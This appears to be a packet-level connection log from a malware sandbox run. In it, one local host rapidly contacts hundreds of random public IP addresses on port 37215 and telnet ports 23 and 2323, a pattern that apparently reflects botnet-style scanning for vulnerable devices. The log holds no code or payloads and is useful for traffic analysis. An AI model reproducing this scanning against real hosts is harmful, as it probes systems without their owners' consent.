Oct 8, 2024 20:34:50.487001896 CEST	48169	37215	192.168.2.14	156.199.215.78
Oct 8, 2024 20:34:50.487004995 CEST	48169	37215	192.168.2.14	41.213.200.73
Oct 8, 2024 20:34:50.487010002 CEST	37215	48169	156.224.232.229	192.168.2.14
Oct 8, 2024 20:34:50.487020969 CEST	37215	48169	197.10.242.92	192.168.2.14
Oct 8, 2024 20:34:50.487035990 CEST	37215	48169	156.22.71.139	192.168.2.14
Oct 8, 2024 20:34:50.487046957 CEST	37215	48169	197.130.245.62	192.168.2.14
Oct 8, 2024 20:34:50.487046957 CEST	48169	37215	192.168.2.14	156.184.134.85
Oct 8, 2024 20:34:50.487046957 CEST	48169	37215	192.168.2.14	156.224.232.229
Oct 8, 2024 20:34:50.487050056 CEST	48169	37215	192.168.2.14	41.145.207.152
Oct 8, 2024 20:34:50.487059116 CEST	37215	48169	197.129.240.243	192.168.2.14
Oct 8, 2024 20:34:50.487061024 CEST	48169	37215	192.168.2.14	41.124.133.105
Oct 8, 2024 20:34:50.487071037 CEST	37215	48169	41.201.10.202	192.168.2.14
Oct 8, 2024 20:34:50.487082005 CEST	37215	48169	156.93.186.164	192.168.2.14
Oct 8, 2024 20:34:50.487082958 CEST	48169	37215	192.168.2.14	197.10.242.92
Oct 8, 2024 20:34:50.487097979 CEST	48169	37215	192.168.2.14	197.129.240.243
Oct 8, 2024 20:34:50.487099886 CEST	48169	37215	192.168.2.14	156.22.71.139
Oct 8, 2024 20:34:50.487102032 CEST	37215	48169	41.146.184.33	192.168.2.14
Oct 8, 2024 20:34:50.487109900 CEST	48169	37215	192.168.2.14	41.201.10.202
Oct 8, 2024 20:34:50.487112999 CEST	37215	48169	156.172.212.115	192.168.2.14
Oct 8, 2024 20:34:50.487123966 CEST	37215	48169	156.100.4.160	192.168.2.14
Oct 8, 2024 20:34:50.487127066 CEST	48169	37215	192.168.2.14	197.130.245.62
Oct 8, 2024 20:34:50.487134933 CEST	37215	48169	41.210.137.100	192.168.2.14
Oct 8, 2024 20:34:50.487145901 CEST	37215	48169	156.155.185.214	192.168.2.14
Oct 8, 2024 20:34:50.487157106 CEST	37215	48169	197.235.13.125	192.168.2.14
Oct 8, 2024 20:34:50.487166882 CEST	37215	48169	156.20.24.103	192.168.2.14
Oct 8, 2024 20:34:50.487173080 CEST	48169	37215	192.168.2.14	156.93.186.164
Oct 8, 2024 20:34:50.487173080 CEST	48169	37215	192.168.2.14	156.100.4.160
Oct 8, 2024 20:34:50.487179041 CEST	37215	48169	156.110.224.192	192.168.2.14
Oct 8, 2024 20:34:50.487188101 CEST	48169	37215	192.168.2.14	197.235.13.125
Oct 8, 2024 20:34:50.487190008 CEST	48169	37215	192.168.2.14	41.146.184.33
Oct 8, 2024 20:34:50.487190008 CEST	37215	48169	156.214.68.98	192.168.2.14
Oct 8, 2024 20:34:50.487190962 CEST	48169	37215	192.168.2.14	156.172.212.115
Oct 8, 2024 20:34:50.487201929 CEST	37215	48169	41.154.117.250	192.168.2.14
Oct 8, 2024 20:34:50.487202883 CEST	48169	37215	192.168.2.14	41.210.137.100
Oct 8, 2024 20:34:50.487211943 CEST	37215	48169	197.200.173.97	192.168.2.14
Oct 8, 2024 20:34:50.487215996 CEST	48169	37215	192.168.2.14	156.155.185.214
Oct 8, 2024 20:34:50.487225056 CEST	37215	48169	197.181.201.71	192.168.2.14
Oct 8, 2024 20:34:50.487231970 CEST	48169	37215	192.168.2.14	156.20.24.103
Oct 8, 2024 20:34:50.487236023 CEST	37215	48169	156.94.201.57	192.168.2.14
Oct 8, 2024 20:34:50.487242937 CEST	48169	37215	192.168.2.14	41.154.117.250
Oct 8, 2024 20:34:50.487263918 CEST	48169	37215	192.168.2.14	156.110.224.192
Oct 8, 2024 20:34:50.487273932 CEST	48169	37215	192.168.2.14	156.214.68.98
Oct 8, 2024 20:34:50.487284899 CEST	48169	37215	192.168.2.14	197.200.173.97
Oct 8, 2024 20:34:50.487291098 CEST	48169	37215	192.168.2.14	197.181.201.71
Oct 8, 2024 20:34:50.487312078 CEST	48169	37215	192.168.2.14	156.94.201.57
Oct 8, 2024 20:34:50.488495111 CEST	37215	48169	41.178.156.169	192.168.2.14
Oct 8, 2024 20:34:50.488506079 CEST	37215	48169	197.9.223.108	192.168.2.14
Oct 8, 2024 20:34:50.488516092 CEST	37215	48169	41.246.22.31	192.168.2.14
Oct 8, 2024 20:34:50.488540888 CEST	48169	37215	192.168.2.14	197.9.223.108
Oct 8, 2024 20:34:50.488540888 CEST	48169	37215	192.168.2.14	41.178.156.169
Oct 8, 2024 20:34:50.488543987 CEST	48169	37215	192.168.2.14	41.246.22.31
Oct 8, 2024 20:34:50.488614082 CEST	37215	48169	156.6.145.253	192.168.2.14
Oct 8, 2024 20:34:50.488626003 CEST	37215	48169	197.164.13.253	192.168.2.14
Oct 8, 2024 20:34:50.488636971 CEST	37215	48169	156.51.21.241	192.168.2.14
Oct 8, 2024 20:34:50.488648891 CEST	37215	48169	41.85.201.136	192.168.2.14
Oct 8, 2024 20:34:50.488655090 CEST	48169	37215	192.168.2.14	156.6.145.253
Oct 8, 2024 20:34:50.488656044 CEST	48169	37215	192.168.2.14	197.164.13.253
Oct 8, 2024 20:34:50.488660097 CEST	37215	48169	156.137.61.49	192.168.2.14
Oct 8, 2024 20:34:50.488671064 CEST	37215	48169	197.74.58.150	192.168.2.14
Oct 8, 2024 20:34:50.488678932 CEST	48169	37215	192.168.2.14	156.51.21.241
Oct 8, 2024 20:34:50.488681078 CEST	37215	48169	156.32.170.91	192.168.2.14
Oct 8, 2024 20:34:50.488691092 CEST	37215	48169	197.203.119.219	192.168.2.14
Oct 8, 2024 20:34:50.488694906 CEST	48169	37215	192.168.2.14	156.137.61.49
Oct 8, 2024 20:34:50.488701105 CEST	37215	48169	41.255.227.141	192.168.2.14
Oct 8, 2024 20:34:50.488702059 CEST	48169	37215	192.168.2.14	197.74.58.150
Oct 8, 2024 20:34:50.488702059 CEST	48169	37215	192.168.2.14	41.85.201.136
Oct 8, 2024 20:34:50.488714933 CEST	37215	48169	197.194.131.139	192.168.2.14
Oct 8, 2024 20:34:50.488718033 CEST	48169	37215	192.168.2.14	156.32.170.91
Oct 8, 2024 20:34:50.488724947 CEST	37215	48169	197.246.51.196	192.168.2.14
Oct 8, 2024 20:34:50.488727093 CEST	48169	37215	192.168.2.14	197.203.119.219
Oct 8, 2024 20:34:50.488737106 CEST	37215	48169	197.49.62.7	192.168.2.14
Oct 8, 2024 20:34:50.488746881 CEST	37215	48169	41.144.44.160	192.168.2.14
Oct 8, 2024 20:34:50.488756895 CEST	37215	48169	156.55.243.151	192.168.2.14
Oct 8, 2024 20:34:50.488761902 CEST	48169	37215	192.168.2.14	197.194.131.139
Oct 8, 2024 20:34:50.488765001 CEST	48169	37215	192.168.2.14	41.255.227.141
Oct 8, 2024 20:34:50.488765001 CEST	48169	37215	192.168.2.14	197.246.51.196
Oct 8, 2024 20:34:50.488768101 CEST	37215	48169	41.25.182.45	192.168.2.14
Oct 8, 2024 20:34:50.488775015 CEST	48169	37215	192.168.2.14	41.144.44.160
Oct 8, 2024 20:34:50.488780975 CEST	37215	48169	156.154.188.114	192.168.2.14
Oct 8, 2024 20:34:50.488792896 CEST	37215	48169	41.239.235.87	192.168.2.14
Oct 8, 2024 20:34:50.488795996 CEST	48169	37215	192.168.2.14	156.55.243.151
Oct 8, 2024 20:34:50.488795996 CEST	48169	37215	192.168.2.14	197.49.62.7
Oct 8, 2024 20:34:50.488804102 CEST	37215	48169	156.24.101.32	192.168.2.14
Oct 8, 2024 20:34:50.488815069 CEST	37215	48169	41.83.10.153	192.168.2.14
Oct 8, 2024 20:34:50.488818884 CEST	48169	37215	192.168.2.14	156.154.188.114
Oct 8, 2024 20:34:50.488818884 CEST	48169	37215	192.168.2.14	41.25.182.45
Oct 8, 2024 20:34:50.488825083 CEST	37215	48169	197.246.14.196	192.168.2.14
Oct 8, 2024 20:34:50.488832951 CEST	48169	37215	192.168.2.14	41.239.235.87
Oct 8, 2024 20:34:50.488837004 CEST	37215	48169	41.169.54.101	192.168.2.14
Oct 8, 2024 20:34:50.488841057 CEST	48169	37215	192.168.2.14	156.24.101.32
Oct 8, 2024 20:34:50.488847971 CEST	37215	48169	41.90.182.83	192.168.2.14
Oct 8, 2024 20:34:50.488854885 CEST	48169	37215	192.168.2.14	41.83.10.153
Oct 8, 2024 20:34:50.488862038 CEST	37215	48169	156.24.247.29	192.168.2.14
Oct 8, 2024 20:34:50.488866091 CEST	48169	37215	192.168.2.14	197.246.14.196
Oct 8, 2024 20:34:50.488873959 CEST	37215	48169	197.254.156.53	192.168.2.14
Oct 8, 2024 20:34:50.488876104 CEST	48169	37215	192.168.2.14	41.90.182.83
Oct 8, 2024 20:34:50.488883018 CEST	48169	37215	192.168.2.14	41.169.54.101
Oct 8, 2024 20:34:50.488884926 CEST	37215	48169	197.38.65.136	192.168.2.14
Oct 8, 2024 20:34:50.488897085 CEST	37215	48169	197.167.95.169	192.168.2.14
Oct 8, 2024 20:34:50.488898039 CEST	48169	37215	192.168.2.14	156.24.247.29
Oct 8, 2024 20:34:50.488898039 CEST	48169	37215	192.168.2.14	197.254.156.53
Oct 8, 2024 20:34:50.488907099 CEST	37215	48169	156.31.3.7	192.168.2.14
Oct 8, 2024 20:34:50.488918066 CEST	48169	37215	192.168.2.14	197.38.65.136
Oct 8, 2024 20:34:50.488919020 CEST	37215	48169	197.206.88.239	192.168.2.14
Oct 8, 2024 20:34:50.488929033 CEST	37215	48169	197.92.113.65	192.168.2.14
Oct 8, 2024 20:34:50.488939047 CEST	48169	37215	192.168.2.14	197.167.95.169
Oct 8, 2024 20:34:50.488950014 CEST	37215	48169	197.162.66.166	192.168.2.14
Oct 8, 2024 20:34:50.488955021 CEST	48169	37215	192.168.2.14	197.206.88.239
Oct 8, 2024 20:34:50.488955021 CEST	48169	37215	192.168.2.14	156.31.3.7
Oct 8, 2024 20:34:50.488955021 CEST	48169	37215	192.168.2.14	197.92.113.65
Oct 8, 2024 20:34:50.488960028 CEST	37215	48169	41.237.110.213	192.168.2.14
Oct 8, 2024 20:34:50.488971949 CEST	37215	48169	197.105.27.185	192.168.2.14
Oct 8, 2024 20:34:50.488981009 CEST	37215	48169	197.26.149.143	192.168.2.14
Oct 8, 2024 20:34:50.488981962 CEST	48169	37215	192.168.2.14	197.162.66.166
Oct 8, 2024 20:34:50.488991976 CEST	37215	48169	197.220.128.134	192.168.2.14
Oct 8, 2024 20:34:50.488993883 CEST	48169	37215	192.168.2.14	41.237.110.213
Oct 8, 2024 20:34:50.489002943 CEST	37215	48169	41.154.98.26	192.168.2.14
Oct 8, 2024 20:34:50.489013910 CEST	37215	48169	41.234.203.44	192.168.2.14
Oct 8, 2024 20:34:50.489018917 CEST	48169	37215	192.168.2.14	197.26.149.143
Oct 8, 2024 20:34:50.489018917 CEST	48169	37215	192.168.2.14	197.220.128.134
Oct 8, 2024 20:34:50.489025116 CEST	37215	48169	41.3.102.138	192.168.2.14
Oct 8, 2024 20:34:50.489032984 CEST	48169	37215	192.168.2.14	197.105.27.185
Oct 8, 2024 20:34:50.489032984 CEST	48169	37215	192.168.2.14	41.154.98.26
Oct 8, 2024 20:34:50.489036083 CEST	37215	48169	197.197.240.69	192.168.2.14
Oct 8, 2024 20:34:50.489047050 CEST	37215	48169	41.38.55.63	192.168.2.14
Oct 8, 2024 20:34:50.489053965 CEST	48169	37215	192.168.2.14	41.234.203.44
Oct 8, 2024 20:34:50.489061117 CEST	37215	48169	41.27.171.102	192.168.2.14
Oct 8, 2024 20:34:50.489070892 CEST	48169	37215	192.168.2.14	41.3.102.138
Oct 8, 2024 20:34:50.489072084 CEST	37215	48169	197.6.201.91	192.168.2.14
Oct 8, 2024 20:34:50.489073992 CEST	48169	37215	192.168.2.14	197.197.240.69
Oct 8, 2024 20:34:50.489082098 CEST	37215	48169	41.195.72.190	192.168.2.14
Oct 8, 2024 20:34:50.489087105 CEST	48169	37215	192.168.2.14	41.38.55.63
Oct 8, 2024 20:34:50.489092112 CEST	37215	48169	197.157.200.111	192.168.2.14
Oct 8, 2024 20:34:50.489103079 CEST	37215	48169	41.231.143.196	192.168.2.14
Oct 8, 2024 20:34:50.489113092 CEST	37215	48169	41.243.83.13	192.168.2.14
Oct 8, 2024 20:34:50.489113092 CEST	48169	37215	192.168.2.14	41.27.171.102
Oct 8, 2024 20:34:50.489120960 CEST	48169	37215	192.168.2.14	197.6.201.91
Oct 8, 2024 20:34:50.489140987 CEST	48169	37215	192.168.2.14	197.157.200.111
Oct 8, 2024 20:34:50.489140987 CEST	48169	37215	192.168.2.14	41.231.143.196
Oct 8, 2024 20:34:50.489151001 CEST	48169	37215	192.168.2.14	41.243.83.13
Oct 8, 2024 20:34:50.489152908 CEST	48169	37215	192.168.2.14	41.195.72.190
Oct 8, 2024 20:34:50.649775028 CEST	48168	2323	192.168.2.14	8.242.217.9
Oct 8, 2024 20:34:50.649795055 CEST	48168	23	192.168.2.14	136.246.61.165
Oct 8, 2024 20:34:50.649808884 CEST	48168	23	192.168.2.14	116.118.106.245
Oct 8, 2024 20:34:50.649817944 CEST	48168	23	192.168.2.14	54.143.36.76
Oct 8, 2024 20:34:50.649848938 CEST	48168	23	192.168.2.14	120.159.87.242
Oct 8, 2024 20:34:50.649852037 CEST	48168	23	192.168.2.14	66.243.137.49
Oct 8, 2024 20:34:50.649852991 CEST	48168	23	192.168.2.14	69.154.129.111
Oct 8, 2024 20:34:50.649852037 CEST	48168	23	192.168.2.14	189.243.53.171
Oct 8, 2024 20:34:50.649852991 CEST	48168	23	192.168.2.14	61.95.104.242
Oct 8, 2024 20:34:50.649869919 CEST	48168	23	192.168.2.14	38.245.237.82
Oct 8, 2024 20:34:50.649888039 CEST	48168	2323	192.168.2.14	151.121.150.70
Oct 8, 2024 20:34:50.649888039 CEST	48168	23	192.168.2.14	161.133.115.187
Oct 8, 2024 20:34:50.649905920 CEST	48168	23	192.168.2.14	159.107.227.88
Oct 8, 2024 20:34:50.649907112 CEST	48168	23	192.168.2.14	157.130.53.56
Oct 8, 2024 20:34:50.649919987 CEST	48168	23	192.168.2.14	136.127.176.98
Oct 8, 2024 20:34:50.649928093 CEST	48168	23	192.168.2.14	168.21.245.192
Oct 8, 2024 20:34:50.649941921 CEST	48168	23	192.168.2.14	59.12.157.93
Oct 8, 2024 20:34:50.649951935 CEST	48168	23	192.168.2.14	43.1.29.99
Oct 8, 2024 20:34:50.649959087 CEST	48168	23	192.168.2.14	31.102.27.233
Oct 8, 2024 20:34:50.649970055 CEST	48168	23	192.168.2.14	47.242.167.1
Oct 8, 2024 20:34:50.649980068 CEST	48168	2323	192.168.2.14	151.178.9.253
Oct 8, 2024 20:34:50.649990082 CEST	48168	23	192.168.2.14	182.49.6.140
Oct 8, 2024 20:34:50.649990082 CEST	48168	23	192.168.2.14	148.246.131.115
Oct 8, 2024 20:34:50.650017023 CEST	48168	23	192.168.2.14	201.198.114.184
Oct 8, 2024 20:34:50.650019884 CEST	48168	23	192.168.2.14	38.81.246.217
Oct 8, 2024 20:34:50.650027037 CEST	48168	23	192.168.2.14	77.248.229.48
Oct 8, 2024 20:34:50.650027990 CEST	48168	23	192.168.2.14	79.224.94.240
Oct 8, 2024 20:34:50.650028944 CEST	48168	23	192.168.2.14	79.13.124.72
Oct 8, 2024 20:34:50.650043011 CEST	48168	23	192.168.2.14	63.69.161.180
Oct 8, 2024 20:34:50.650046110 CEST	48168	23	192.168.2.14	27.42.13.110
Oct 8, 2024 20:34:50.650052071 CEST	48168	23	192.168.2.14	47.138.190.93
Oct 8, 2024 20:34:50.650058031 CEST	48168	2323	192.168.2.14	41.31.194.61
Oct 8, 2024 20:34:50.650068998 CEST	48168	23	192.168.2.14	86.82.168.82
Oct 8, 2024 20:34:50.650069952 CEST	48168	23	192.168.2.14	146.46.5.128
Oct 8, 2024 20:34:50.650079966 CEST	48168	23	192.168.2.14	92.227.81.46
Oct 8, 2024 20:34:50.650095940 CEST	48168	23	192.168.2.14	40.89.222.87
Oct 8, 2024 20:34:50.650099039 CEST	48168	23	192.168.2.14	104.67.196.96
Oct 8, 2024 20:34:50.650101900 CEST	48168	23	192.168.2.14	219.105.124.11
Oct 8, 2024 20:34:50.650116920 CEST	48168	23	192.168.2.14	1.150.230.248
Oct 8, 2024 20:34:50.650129080 CEST	48168	2323	192.168.2.14	211.152.214.97
Oct 8, 2024 20:34:50.650136948 CEST	48168	23	192.168.2.14	2.187.190.205
Oct 8, 2024 20:34:50.650142908 CEST	48168	23	192.168.2.14	27.206.162.146
Oct 8, 2024 20:34:50.650144100 CEST	48168	23	192.168.2.14	195.71.131.162
Oct 8, 2024 20:34:50.650151014 CEST	48168	23	192.168.2.14	200.138.169.13
Oct 8, 2024 20:34:50.650161982 CEST	48168	23	192.168.2.14	210.252.27.254
Oct 8, 2024 20:34:50.650161982 CEST	48168	23	192.168.2.14	43.88.233.105
Oct 8, 2024 20:34:50.650171041 CEST	48168	23	192.168.2.14	203.72.214.204
Oct 8, 2024 20:34:50.650190115 CEST	48168	23	192.168.2.14	119.113.240.217
Oct 8, 2024 20:34:50.650198936 CEST	48168	23	192.168.2.14	41.209.5.211
Oct 8, 2024 20:34:50.650201082 CEST	48168	23	192.168.2.14	45.61.105.22
Oct 8, 2024 20:34:50.650201082 CEST	48168	2323	192.168.2.14	151.241.169.108
Oct 8, 2024 20:34:50.650201082 CEST	48168	23	192.168.2.14	173.11.6.59
Oct 8, 2024 20:34:50.650209904 CEST	48168	23	192.168.2.14	190.19.62.78
Oct 8, 2024 20:34:50.650223017 CEST	48168	23	192.168.2.14	192.215.143.239
Oct 8, 2024 20:34:50.650227070 CEST	48168	23	192.168.2.14	208.102.146.255
Oct 8, 2024 20:34:50.650237083 CEST	48168	23	192.168.2.14	98.155.106.117
Oct 8, 2024 20:34:50.650255919 CEST	48168	23	192.168.2.14	212.2.130.183
Oct 8, 2024 20:34:50.650259018 CEST	48168	23	192.168.2.14	62.234.96.33
Oct 8, 2024 20:34:50.650259018 CEST	48168	23	192.168.2.14	17.196.56.153
Oct 8, 2024 20:34:50.650274038 CEST	48168	23	192.168.2.14	162.101.73.57
Oct 8, 2024 20:34:50.650278091 CEST	48168	2323	192.168.2.14	82.184.39.166
Oct 8, 2024 20:34:50.650284052 CEST	48168	23	192.168.2.14	72.67.0.102
Oct 8, 2024 20:34:50.650293112 CEST	48168	23	192.168.2.14	174.26.127.157
Oct 8, 2024 20:34:50.650300980 CEST	48168	23	192.168.2.14	113.70.176.91
Oct 8, 2024 20:34:50.650311947 CEST	48168	23	192.168.2.14	121.252.31.55
Oct 8, 2024 20:34:50.650327921 CEST	48168	23	192.168.2.14	100.141.180.112
Oct 8, 2024 20:34:50.650327921 CEST	48168	23	192.168.2.14	76.236.229.23
Oct 8, 2024 20:34:50.650336981 CEST	48168	23	192.168.2.14	116.149.205.103
Oct 8, 2024 20:34:50.650353909 CEST	48168	23	192.168.2.14	116.227.17.229
Oct 8, 2024 20:34:50.650355101 CEST	48168	23	192.168.2.14	176.49.176.106
Oct 8, 2024 20:34:50.650372982 CEST	48168	2323	192.168.2.14	46.160.76.170
Oct 8, 2024 20:34:50.650372982 CEST	48168	23	192.168.2.14	159.168.187.203
Oct 8, 2024 20:34:50.650394917 CEST	48168	23	192.168.2.14	27.79.192.80
Oct 8, 2024 20:34:50.650408983 CEST	48168	23	192.168.2.14	109.7.217.64
Oct 8, 2024 20:34:50.650409937 CEST	48168	23	192.168.2.14	48.135.15.124
Oct 8, 2024 20:34:50.650427103 CEST	48168	23	192.168.2.14	208.77.159.251
Oct 8, 2024 20:34:50.650440931 CEST	48168	23	192.168.2.14	219.83.42.112
Oct 8, 2024 20:34:50.650445938 CEST	48168	23	192.168.2.14	88.40.188.151
Oct 8, 2024 20:34:50.650448084 CEST	48168	23	192.168.2.14	222.116.0.71
Oct 8, 2024 20:34:50.650448084 CEST	48168	2323	192.168.2.14	12.204.83.115
Oct 8, 2024 20:34:50.650464058 CEST	48168	23	192.168.2.14	163.31.62.193
Oct 8, 2024 20:34:50.650475979 CEST	48168	23	192.168.2.14	221.49.16.162
Oct 8, 2024 20:34:50.650492907 CEST	48168	23	192.168.2.14	192.81.26.234
Oct 8, 2024 20:34:50.650492907 CEST	48168	23	192.168.2.14	70.115.110.63
Oct 8, 2024 20:34:50.650496006 CEST	48168	23	192.168.2.14	179.190.14.209
Oct 8, 2024 20:34:50.650496960 CEST	48168	23	192.168.2.14	109.144.49.165
Oct 8, 2024 20:34:50.650512934 CEST	48168	23	192.168.2.14	165.88.165.132
Oct 8, 2024 20:34:50.650516033 CEST	48168	23	192.168.2.14	156.114.48.247
Oct 8, 2024 20:34:50.650516033 CEST	48168	23	192.168.2.14	77.194.141.132
Oct 8, 2024 20:34:50.650537014 CEST	48168	2323	192.168.2.14	116.21.14.144
Oct 8, 2024 20:34:50.650551081 CEST	48168	23	192.168.2.14	71.252.116.31
Oct 8, 2024 20:34:50.650553942 CEST	48168	23	192.168.2.14	84.235.35.138
Oct 8, 2024 20:34:50.650557995 CEST	48168	23	192.168.2.14	75.225.29.72
Oct 8, 2024 20:34:50.650559902 CEST	48168	23	192.168.2.14	107.213.143.52
Oct 8, 2024 20:34:50.650563955 CEST	48168	23	192.168.2.14	157.122.168.37
Oct 8, 2024 20:34:50.650571108 CEST	48168	23	192.168.2.14	14.200.156.155
Oct 8, 2024 20:34:50.650588989 CEST	48168	23	192.168.2.14	59.223.94.96
Oct 8, 2024 20:34:50.650590897 CEST	48168	23	192.168.2.14	91.195.13.116
Oct 8, 2024 20:34:50.650600910 CEST	48168	23	192.168.2.14	44.242.221.46
Oct 8, 2024 20:34:50.650609970 CEST	48168	23	192.168.2.14	76.15.38.88
Oct 8, 2024 20:34:50.650609970 CEST	48168	2323	192.168.2.14	145.35.181.67
Oct 8, 2024 20:34:50.650665045 CEST	48168	23	192.168.2.14	13.217.252.116
Oct 8, 2024 20:34:50.650675058 CEST	48168	23	192.168.2.14	170.220.86.165
Oct 8, 2024 20:34:50.650687933 CEST	48168	23	192.168.2.14	107.176.37.215
Oct 8, 2024 20:34:50.650693893 CEST	48168	23	192.168.2.14	103.209.22.231
Oct 8, 2024 20:34:50.650706053 CEST	48168	23	192.168.2.14	197.117.154.72
Oct 8, 2024 20:34:50.650710106 CEST	48168	23	192.168.2.14	202.125.22.9
Oct 8, 2024 20:34:50.650710106 CEST	48168	23	192.168.2.14	156.56.14.228
Oct 8, 2024 20:34:50.650711060 CEST	48168	23	192.168.2.14	96.86.134.154
Oct 8, 2024 20:34:50.650723934 CEST	48168	23	192.168.2.14	69.153.251.238
Oct 8, 2024 20:34:50.650739908 CEST	48168	23	192.168.2.14	35.211.193.190
Oct 8, 2024 20:34:50.650739908 CEST	48168	23	192.168.2.14	47.135.173.8
Oct 8, 2024 20:34:50.650758028 CEST	48168	23	192.168.2.14	173.84.56.198
Oct 8, 2024 20:34:50.650773048 CEST	48168	2323	192.168.2.14	89.128.127.169
Oct 8, 2024 20:34:50.650793076 CEST	48168	23	192.168.2.14	163.253.21.119
Oct 8, 2024 20:34:50.650799036 CEST	48168	23	192.168.2.14	48.104.150.160
Oct 8, 2024 20:34:50.650810003 CEST	48168	23	192.168.2.14	89.107.160.155
Oct 8, 2024 20:34:50.650818110 CEST	48168	23	192.168.2.14	59.116.88.82
Oct 8, 2024 20:34:50.650824070 CEST	48168	23	192.168.2.14	174.80.9.138
Oct 8, 2024 20:34:50.650837898 CEST	48168	23	192.168.2.14	78.80.64.184
Oct 8, 2024 20:34:50.650844097 CEST	48168	2323	192.168.2.14	85.5.117.50
Oct 8, 2024 20:34:50.650857925 CEST	48168	23	192.168.2.14	203.2.52.68
Oct 8, 2024 20:34:50.650878906 CEST	48168	23	192.168.2.14	162.206.30.176
Oct 8, 2024 20:34:50.650880098 CEST	48168	23	192.168.2.14	216.131.121.57
Oct 8, 2024 20:34:50.650882006 CEST	48168	23	192.168.2.14	24.220.64.140
Oct 8, 2024 20:34:50.650882006 CEST	48168	23	192.168.2.14	87.68.22.248
Oct 8, 2024 20:34:50.650883913 CEST	48168	23	192.168.2.14	61.139.211.24
Oct 8, 2024 20:34:50.650898933 CEST	48168	23	192.168.2.14	78.13.37.203
Oct 8, 2024 20:34:50.650904894 CEST	48168	23	192.168.2.14	180.102.214.224
Oct 8, 2024 20:34:50.650912046 CEST	48168	23	192.168.2.14	58.203.119.241
Oct 8, 2024 20:34:50.650918007 CEST	48168	2323	192.168.2.14	151.111.181.79
Oct 8, 2024 20:34:50.650935888 CEST	48168	23	192.168.2.14	181.225.215.176
Oct 8, 2024 20:34:50.650935888 CEST	48168	23	192.168.2.14	201.198.31.100
Oct 8, 2024 20:34:50.650954962 CEST	48168	23	192.168.2.14	184.106.110.34
Oct 8, 2024 20:34:50.650954962 CEST	48168	23	192.168.2.14	12.9.189.174
Oct 8, 2024 20:34:50.650969982 CEST	48168	23	192.168.2.14	220.190.121.13
Oct 8, 2024 20:34:50.650985003 CEST	48168	23	192.168.2.14	158.38.120.15
Oct 8, 2024 20:34:50.650988102 CEST	48168	23	192.168.2.14	32.238.190.213
Oct 8, 2024 20:34:50.651004076 CEST	48168	23	192.168.2.14	170.154.195.10
Oct 8, 2024 20:34:50.651005983 CEST	48168	23	192.168.2.14	170.4.12.107
Oct 8, 2024 20:34:50.651017904 CEST	48168	2323	192.168.2.14	154.94.60.123
Oct 8, 2024 20:34:50.651019096 CEST	48168	23	192.168.2.14	4.247.19.161
Oct 8, 2024 20:34:50.651030064 CEST	48168	23	192.168.2.14	46.221.226.234
Oct 8, 2024 20:34:50.651035070 CEST	48168	23	192.168.2.14	9.228.107.29
Oct 8, 2024 20:34:50.651041985 CEST	48168	23	192.168.2.14	94.51.134.110
Oct 8, 2024 20:34:50.651055098 CEST	48168	23	192.168.2.14	80.243.191.54
Oct 8, 2024 20:34:50.651066065 CEST	48168	23	192.168.2.14	205.170.203.174
Oct 8, 2024 20:34:50.651066065 CEST	48168	23	192.168.2.14	219.211.189.26
Oct 8, 2024 20:34:50.651089907 CEST	48168	23	192.168.2.14	199.50.99.121
Oct 8, 2024 20:34:50.651086092 CEST	48168	23	192.168.2.14	119.46.130.213
Oct 8, 2024 20:34:50.651097059 CEST	48168	2323	192.168.2.14	126.65.82.248
Oct 8, 2024 20:34:50.651122093 CEST	48168	23	192.168.2.14	9.192.43.21
Oct 8, 2024 20:34:50.651124954 CEST	48168	23	192.168.2.14	166.244.27.224
Oct 8, 2024 20:34:50.651134014 CEST	48168	23	192.168.2.14	97.111.90.218
Oct 8, 2024 20:34:50.651135921 CEST	48168	23	192.168.2.14	169.81.3.181
Oct 8, 2024 20:34:50.651143074 CEST	48168	23	192.168.2.14	191.99.36.8
Oct 8, 2024 20:34:50.651145935 CEST	48168	23	192.168.2.14	67.199.158.67
Oct 8, 2024 20:34:50.651145935 CEST	48168	23	192.168.2.14	171.89.93.89
Oct 8, 2024 20:34:50.651164055 CEST	48168	23	192.168.2.14	97.105.53.248
Oct 8, 2024 20:34:50.651164055 CEST	48168	23	192.168.2.14	184.202.108.255
Oct 8, 2024 20:34:50.654983997 CEST	2323	48168	8.242.217.9	192.168.2.14
Oct 8, 2024 20:34:50.654999971 CEST	23	48168	136.246.61.165	192.168.2.14
Oct 8, 2024 20:34:50.655011892 CEST	23	48168	116.118.106.245	192.168.2.14
Oct 8, 2024 20:34:50.655024052 CEST	23	48168	54.143.36.76	192.168.2.14
Oct 8, 2024 20:34:50.655034065 CEST	23	48168	120.159.87.242	192.168.2.14
Oct 8, 2024 20:34:50.655045033 CEST	23	48168	69.154.129.111	192.168.2.14
Oct 8, 2024 20:34:50.655052900 CEST	48168	2323	192.168.2.14	8.242.217.9
Oct 8, 2024 20:34:50.655056000 CEST	23	48168	61.95.104.242	192.168.2.14
Oct 8, 2024 20:34:50.655066967 CEST	48168	23	192.168.2.14	136.246.61.165
Oct 8, 2024 20:34:50.655067921 CEST	23	48168	66.243.137.49	192.168.2.14
Oct 8, 2024 20:34:50.655066967 CEST	48168	23	192.168.2.14	120.159.87.242
Oct 8, 2024 20:34:50.655073881 CEST	48168	23	192.168.2.14	116.118.106.245
Oct 8, 2024 20:34:50.655078888 CEST	23	48168	189.243.53.171	192.168.2.14
Oct 8, 2024 20:34:50.655080080 CEST	48168	23	192.168.2.14	54.143.36.76
Oct 8, 2024 20:34:50.655080080 CEST	48168	23	192.168.2.14	69.154.129.111
Oct 8, 2024 20:34:50.655080080 CEST	48168	23	192.168.2.14	61.95.104.242
Oct 8, 2024 20:34:50.655091047 CEST	23	48168	38.245.237.82	192.168.2.14
Oct 8, 2024 20:34:50.655107021 CEST	23	48168	159.107.227.88	192.168.2.14
Oct 8, 2024 20:34:50.655112982 CEST	48168	23	192.168.2.14	66.243.137.49
Oct 8, 2024 20:34:50.655112982 CEST	48168	23	192.168.2.14	189.243.53.171
Oct 8, 2024 20:34:50.655118942 CEST	2323	48168	151.121.150.70	192.168.2.14
Oct 8, 2024 20:34:50.655127048 CEST	48168	23	192.168.2.14	38.245.237.82
Oct 8, 2024 20:34:50.655131102 CEST	23	48168	157.130.53.56	192.168.2.14
Oct 8, 2024 20:34:50.655141115 CEST	48168	23	192.168.2.14	159.107.227.88
Oct 8, 2024 20:34:50.655142069 CEST	23	48168	161.133.115.187	192.168.2.14
Oct 8, 2024 20:34:50.655153036 CEST	23	48168	136.127.176.98	192.168.2.14
Oct 8, 2024 20:34:50.655157089 CEST	48168	2323	192.168.2.14	151.121.150.70
Oct 8, 2024 20:34:50.655162096 CEST	48168	23	192.168.2.14	157.130.53.56
